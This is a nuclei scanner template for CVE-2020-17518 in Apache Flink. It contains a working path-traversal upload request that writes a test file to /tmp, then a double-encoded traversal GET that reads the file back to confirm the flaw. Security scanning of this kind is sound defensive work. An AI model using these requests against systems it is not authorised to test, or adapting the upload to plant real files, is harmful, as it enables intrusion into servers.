nuclei-templates/cves/2020/CVE-2020-17518.yaml

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YAML

id: CVE-2020-17518
info:
name: Apache Flink 1.5.1 - Local File Inclusion
author: pdteam
severity: high
description: |
Apache Flink 1.5.1 is vulnerable to local file inclusion because of a REST handler that allows file uploads to an arbitrary location on the local file system through a maliciously modified HTTP HEADER.
reference:
- https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518
- https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261%40%3Cdev.flink.apache.org%3E
- https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261@%3Cuser.flink.apache.org%3E
- https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261@%3Cdev.flink.apache.org%3E
- https://nvd.nist.gov/vuln/detail/CVE-2020-17518
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
cvss-score: 7.5
cve-id: CVE-2020-17518
cwe-id: CWE-22
tags: lfi,flink,upload,vulhub,cve,cve2020,apache
requests:
- raw:
- |
POST /jars/upload HTTP/1.1
Host: {{Hostname}}
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../tmp/poc"
test-poc
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
- method: GET
path:
- '{{BaseURL}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fpoc'
matchers:
- type: dsl
dsl:
- 'contains(body, "test-poc") && status_code == 200' # Using CVE-2020-17519 to confirm this.
# Enhanced by mp on 2022/07/13